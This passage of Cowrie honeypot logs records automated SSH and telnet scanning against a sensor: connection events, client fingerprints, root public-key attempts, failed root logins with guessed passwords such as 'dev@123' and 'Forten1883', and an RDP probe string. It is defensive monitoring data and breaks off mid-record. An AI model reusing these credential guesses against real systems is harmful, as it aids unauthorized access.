{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:4c:c7:e0:a8:76:4e:bb:7c:42:6c:ea:5f:5b:6d:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtVVL1vQV9zGSxbROeFBfMYSfUogyGwgtuErbNfCADCPZUlK/uCGqfZJktp0zoUbQtzJjDMPe2I4Ymdsl3B07QvB9LePNeAPfqtmNfMjoekEtQy+xbqMLW6WQMCiOGlgD82ufDbtHH8+H082kWVtdkoppIc4+o4I0AKbz0pRWjnSXPFtkVD1UcHtg1I1i8wO0sNnxI9ZP42c2Ounpp26WM7BvKJnxHSTxHHlcpW0fLOlfV9/3dKorbjmtRGIWCy8ZBHWhlJNUHdfEoI8BQZzTuGbQ1tpm8/BHld01DvuQR1AS3t/Bc0Vuj8X7lJbf7lD+WJerOj5RvOBreFp3AbXudw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.192408Z","src_ip":"38.96.178.216","session":"19be38ea353b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6e:ad:2a:6a:06:27:77:06:8f:28:69:bc:93:c7:68:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXPHtewQwhiAnemnbGCPSX60Kc/IwmjPRaxwOCCyn448s/z/R0OdBvOIjv/zKz+Hcd46GQQqxBpr3X/kl+A5uTzbatV0uSh0gnTWWzxJ/Jny8wFKbweQDSTYnIfwVAu7P3zi5GMR8KiDZoGkX/OwJ2a0nXDNLlZiDWKa6kE55Zf3ViIdWiRDOmJXLGlTJVzLaW8LBqDHq7wpHLYaLxoTEP+lwXKqRQDxpWOkf41vwiHAXRMD+eXaDOTo9Ei2uvx19VZ9wNe2nRyt2T26rcb64wSJc25/7uljy3q6rRTim/dECi9ccyv7IqhyD1mcIkHqO8bSqLfYGOC1s5UC2VX8KovMeVghzh792XkDiblUg11hQzkElyYFJSKOrNKTn/EqU4HOy+Yc92bKAHE0rS27IMqzEDIL9uho3RevopHpDTGy9OQql/Aw5VwVS6mLPLps+hhn98/IdK/a9VlouTCijdkO6hUsh8/uT3kjbsDaJZ9YiU/88XjTwGVtrYJLyG3fVbabomzjQDHfX7UlKYcDf/+xSlxE2ERqNTDzGZICVV5oi1cI+/oFHb/c9vQvkWFP3+jMX6yoU7c6H4VfvmT5DTtp4Bqr6ELsrF9+pVXpMbFwGNG5fhoomgpII2jYr7/eUkcWW+YlsqnUNqWzpdBWIw+yWU7C3qt0vKleGEBQcKww==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6e:ad:2a:6a:06:27:77:06:8f:28:69:bc:93:c7:68:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.200753Z","src_ip":"38.96.178.216","session":"19be38ea353b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6e:ad:2a:6a:06:27:77:06:8f:28:69:bc:93:c7:68:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXPHtewQwhiAnemnbGCPSX60Kc/IwmjPRaxwOCCyn448s/z/R0OdBvOIjv/zKz+Hcd46GQQqxBpr3X/kl+A5uTzbatV0uSh0gnTWWzxJ/Jny8wFKbweQDSTYnIfwVAu7P3zi5GMR8KiDZoGkX/OwJ2a0nXDNLlZiDWKa6kE55Zf3ViIdWiRDOmJXLGlTJVzLaW8LBqDHq7wpHLYaLxoTEP+lwXKqRQDxpWOkf41vwiHAXRMD+eXaDOTo9Ei2uvx19VZ9wNe2nRyt2T26rcb64wSJc25/7uljy3q6rRTim/dECi9ccyv7IqhyD1mcIkHqO8bSqLfYGOC1s5UC2VX8KovMeVghzh792XkDiblUg11hQzkElyYFJSKOrNKTn/EqU4HOy+Yc92bKAHE0rS27IMqzEDIL9uho3RevopHpDTGy9OQql/Aw5VwVS6mLPLps+hhn98/IdK/a9VlouTCijdkO6hUsh8/uT3kjbsDaJZ9YiU/88XjTwGVtrYJLyG3fVbabomzjQDHfX7UlKYcDf/+xSlxE2ERqNTDzGZICVV5oi1cI+/oFHb/c9vQvkWFP3+jMX6yoU7c6H4VfvmT5DTtp4Bqr6ELsrF9+pVXpMbFwGNG5fhoomgpII2jYr7/eUkcWW+YlsqnUNqWzpdBWIw+yWU7C3qt0vKleGEBQcKww==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.204852Z","src_ip":"38.96.178.216","session":"19be38ea353b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5e:9f:62:71:fe:be:82:d3:23:09:17:84:8c:5c:0d:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzS4M0JSAv3mlC8LdCvXjIuTZ9s8V1YTetCKQPz6yANRzmhiqfGPj/rhaMn8RCrqpc4WvZMXb8hVO5P3FJd6CkIX89BXRarznfm9W5raie4GTXeU1IhgKfKawtaALFGtm+UuZE+iW5hPVjribw2q3D02qDACnlaB6/lt6euVG9gr9rwOYAXySQtxPA4bcJe9ScWbLsReB1hWOeDlS1aQ0EIxwyRWn9HQwkcxCzsgzq2Q2isbBK735JetFEVjcYghUcjxM+8GjW3C6owRayqyfjqhpwYTES91sjtBgQ0Bhs5Ask2OVffUmHuyrS1gJqmn6rOp/4HxCJpAY8y94QjUbqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5e:9f:62:71:fe:be:82:d3:23:09:17:84:8c:5c:0d:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.214905Z","src_ip":"38.96.178.216","session":"19be38ea353b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5e:9f:62:71:fe:be:82:d3:23:09:17:84:8c:5c:0d:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzS4M0JSAv3mlC8LdCvXjIuTZ9s8V1YTetCKQPz6yANRzmhiqfGPj/rhaMn8RCrqpc4WvZMXb8hVO5P3FJd6CkIX89BXRarznfm9W5raie4GTXeU1IhgKfKawtaALFGtm+UuZE+iW5hPVjribw2q3D02qDACnlaB6/lt6euVG9gr9rwOYAXySQtxPA4bcJe9ScWbLsReB1hWOeDlS1aQ0EIxwyRWn9HQwkcxCzsgzq2Q2isbBK735JetFEVjcYghUcjxM+8GjW3C6owRayqyfjqhpwYTES91sjtBgQ0Bhs5Ask2OVffUmHuyrS1gJqmn6rOp/4HxCJpAY8y94QjUbqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.219060Z","src_ip":"38.96.178.216","session":"19be38ea353b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:9c:71:de:1f:fc:39:7f:15:be:17:91:1e:ea:06:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwtfQb6O22kcUQTI608ofZwGsYBb0IXs8D8YCnS0tUVYJwv0/XoEZH58WPj9hL3JgWLc0tGgm2BQGrO3ZcplZzrMDTFP74LIQZ/mPa47U3g7wwUzeyTIvxtTAob3peLV2fOU1b2JgN6VDuNmUaHjo7eI+g3kDFSQQWE4vRd95XSOzCWPba4oivLK7MTEz1FPPVVG6lSnIJEWkA+lkJJzkSIesYDbKPG/a0EZYgHENO+UL3gajTiRtqWQz7q5Eea25ngUkyF8ERzV4CtdH8UywHvv8DdLfudP+fNQj02f2d1OSH2u11TVyL1m+Yt0KyBVzJee1p76zKV2r2827E3xsXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:9c:71:de:1f:fc:39:7f:15:be:17:91:1e:ea:06:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.229329Z","src_ip":"38.96.178.216","session":"19be38ea353b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:9c:71:de:1f:fc:39:7f:15:be:17:91:1e:ea:06:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwtfQb6O22kcUQTI608ofZwGsYBb0IXs8D8YCnS0tUVYJwv0/XoEZH58WPj9hL3JgWLc0tGgm2BQGrO3ZcplZzrMDTFP74LIQZ/mPa47U3g7wwUzeyTIvxtTAob3peLV2fOU1b2JgN6VDuNmUaHjo7eI+g3kDFSQQWE4vRd95XSOzCWPba4oivLK7MTEz1FPPVVG6lSnIJEWkA+lkJJzkSIesYDbKPG/a0EZYgHENO+UL3gajTiRtqWQz7q5Eea25ngUkyF8ERzV4CtdH8UywHvv8DdLfudP+fNQj02f2d1OSH2u11TVyL1m+Yt0KyBVzJee1p76zKV2r2827E3xsXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.233409Z","src_ip":"38.96.178.216","session":"19be38ea353b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.245905Z","src_ip":"38.96.178.216","session":"19be38ea353b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":118.29608678817749,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:16:47.537072Z","src_ip":"152.42.224.71","session":"49efda1a5b9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":47552,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c36b9c0c44b","protocol":"ssh","message":"New connection: 43.134.184.253:47552 (10.17.0.5:22) [session: 4c36b9c0c44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:05.369366Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:05.375020Z","src_ip":"43.134.184.253","session":"4c36b9c0c44b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:05.616180Z","src_ip":"43.134.184.253","session":"4c36b9c0c44b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dev@123","message":"login attempt [root/dev@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:06.599544Z","src_ip":"43.134.184.253","session":"4c36b9c0c44b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:07.841189Z","src_ip":"43.134.184.253","session":"4c36b9c0c44b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":51464,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b03932349a2","protocol":"ssh","message":"New connection: 103.173.227.57:51464 (159.203.135.109:22) [session: 9b03932349a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:19.794553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:19.808378Z","src_ip":"103.173.227.57","session":"9b03932349a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:20.043219Z","src_ip":"103.173.227.57","session":"9b03932349a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789.","message":"login attempt [root/123456789.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:20.748748Z","src_ip":"103.173.227.57","session":"9b03932349a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:21.987162Z","src_ip":"103.173.227.57","session":"9b03932349a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40958,"dst_ip":"10.17.0.5","dst_port":23,"session":"65b3bdb34c0b","protocol":"telnet","message":"New connection: 152.42.224.71:40958 (10.17.0.5:23) [session: 65b3bdb34c0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:26.847573Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":36904,"dst_ip":"10.17.0.5","dst_port":22,"session":"cac09e21d01d","protocol":"ssh","message":"New connection: 87.251.79.125:36904 (10.17.0.5:22) [session: cac09e21d01d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:42.878749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:42.883776Z","src_ip":"87.251.79.125","session":"cac09e21d01d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:42.957519Z","src_ip":"87.251.79.125","session":"cac09e21d01d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:43.172511Z","src_ip":"87.251.79.125","session":"cac09e21d01d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:17:44.247796Z","src_ip":"87.251.79.125","session":"cac09e21d01d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48600,"dst_ip":"10.17.0.5","dst_port":23,"session":"c17e6bde6ed8","protocol":"telnet","message":"New connection: 152.42.224.71:48600 (10.17.0.5:23) [session: c17e6bde6ed8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:05.635900Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38348,"dst_ip":"10.17.0.5","dst_port":23,"session":"d32a525e0c2c","protocol":"telnet","message":"New connection: 152.42.224.71:38348 (10.17.0.5:23) [session: d32a525e0c2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:06.661896Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38354,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ff593c12979","protocol":"telnet","message":"New connection: 152.42.224.71:38354 (10.17.0.5:23) [session: 1ff593c12979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:10.074650Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":61954,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d26fccffb70","protocol":"ssh","message":"New connection: 167.172.81.52:61954 (159.203.135.109:22) [session: 3d26fccffb70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:13.462016Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:13.467149Z","src_ip":"167.172.81.52","session":"3d26fccffb70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:13.471549Z","src_ip":"167.172.81.52","session":"3d26fccffb70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.45.154.150","src_port":54850,"dst_ip":"159.203.135.109","dst_port":23,"session":"b48cf74cb94e","protocol":"telnet","message":"New connection: 199.45.154.150:54850 (159.203.135.109:23) [session: b48cf74cb94e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:16.133502Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":33924,"dst_ip":"10.17.0.5","dst_port":22,"session":"f49e4d2e75e6","protocol":"ssh","message":"New connection: 89.223.69.22:33924 (10.17.0.5:22) [session: f49e4d2e75e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:17.262611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:17.273449Z","src_ip":"89.223.69.22","session":"f49e4d2e75e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:17.391949Z","src_ip":"89.223.69.22","session":"f49e4d2e75e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.792229413986206,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:17.639716Z","src_ip":"152.42.224.71","session":"65b3bdb34c0b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"nuttertools","message":"login attempt [root/nuttertools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:17.749807Z","src_ip":"89.223.69.22","session":"f49e4d2e75e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:18.871412Z","src_ip":"89.223.69.22","session":"f49e4d2e75e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.184.253","src_port":35834,"dst_ip":"10.17.0.5","dst_port":22,"session":"890dcc8fe6ad","protocol":"ssh","message":"New connection: 43.134.184.253:35834 (10.17.0.5:22) [session: 890dcc8fe6ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:26.321403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:18:26.326460Z","src_ip":"43.134.184.253","session":"890dcc8fe6ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384",